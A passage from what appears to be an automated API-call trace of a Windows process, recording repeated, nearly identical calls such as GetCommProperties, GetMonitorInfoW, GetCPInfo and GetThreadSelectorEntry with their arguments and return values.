lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.028] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.028] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773e0000 [0093.028] GetProcAddress (hModule=0x773e0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7741735f [0093.029] GetProcAddress (hModule=0x773e0000, lpProcName="Module32First") returned 0x77475cd9 [0093.029] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.029] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.029] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.029] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.029] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.029] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.029] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.029] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.029] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.029] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.029] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.029] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.029] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.029] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.029] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.029] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.029] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.029] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.029] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.029] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.030] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.030] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.030] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.030] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.030] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.030] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.030] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.030] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.030] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.030] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.030] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.030] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.030] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.030] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.030] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.030] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.030] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.030] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.030] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.030] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.030] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.030] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.030] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.030] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.030] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.031] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.031] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.031] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.031] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.031] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.031] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.031] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.031] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.031] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.031] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.031] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.031] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.031] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.031] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.031] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.031] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.031] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.031] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.031] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.031] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.031] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.031] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.031] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.031] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.031] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.032] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.032] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.032] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.032] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.032] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.032] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.032] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.032] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.032] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.032] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.032] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.032] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.032] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.032] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.032] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.032] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.032] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.032] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.032] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.032] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.033] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.033] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.033] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.033] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.033] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.033] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.033] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.033] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.033] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.033] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.033] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.033] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.033] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.033] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.033] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.033] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.033] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.033] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.033] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.033] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.033] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.034] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.034] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.034] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.034] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.034] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.034] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.034] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.034] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.034] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.034] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.034] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.034] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.034] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.034] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.034] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.034] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.034] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.034] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.034] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.034] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.034] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.035] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.035] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.035] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.035] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.035] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.035] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.035] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.035] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.035] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.035] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.035] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.035] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.035] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.035] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.035] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.035] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.035] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.035] 